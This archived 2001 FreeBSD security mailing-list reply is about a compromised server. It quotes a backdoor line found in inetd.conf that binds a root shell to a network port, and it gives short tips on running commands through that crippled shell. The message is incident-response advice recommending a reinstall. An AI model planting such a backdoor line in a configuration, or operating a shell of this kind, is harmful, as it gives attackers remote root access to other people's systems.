Date: Thu, 01 Nov 2001 15:51:11 +0100 From: "G.P. de Boer" <g.p.de.boer@st.hanze.nl> To: Ralph Huntington <rjh@mohawk.net>, <freebsd-security@freebsd.org> Subject: Re: strange inetd.conf entry Message-ID: <5.1.0.14.0.20011101154627.01f2e3f0@thedarkside.nl> In-Reply-To: <20011101093558.W79615-100000@mohegan.mohawk.net> References: <5.1.0.14.0.20011031211852.06278230@192.168.0.12>
next in thread | previous in thread | raw e-mail | index | archive | help
At 15:42 1-11-2001, Ralph Huntington wrote: >I have that sinking feeling. I discovered this line at the end of >inetd.conf on one of our servers: > >dlip stream tcp nowait root /bin/sh sh -i > >Looks like a root compromise. Sure enough, telnet'ing to the dlip port >provides what *looks* like a root shell, but I don't seem to be able to do >anything with it. Pretty mysterious. > >Can anyone offer a clue? Thanks in advance, Ralph Take the box down, do a reinstall and don't run known exploitable daemons. The shell acquired using the above line is useable. I fiddled a bit with it myself a few weeks ago when somebody reported just such a line in his inetd.conf and found out you can execute programs using "programname &". To list current directory "ls -- -la" worked iirc. Anyway.. it's a crippled shell, but only needed to say, replace sshd with a trojanned one. Hope the box wasn't really doing anything important, because it's rooted for sure. Goodluck, P. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?5.1.0.14.0.20011101154627.01f2e3f0>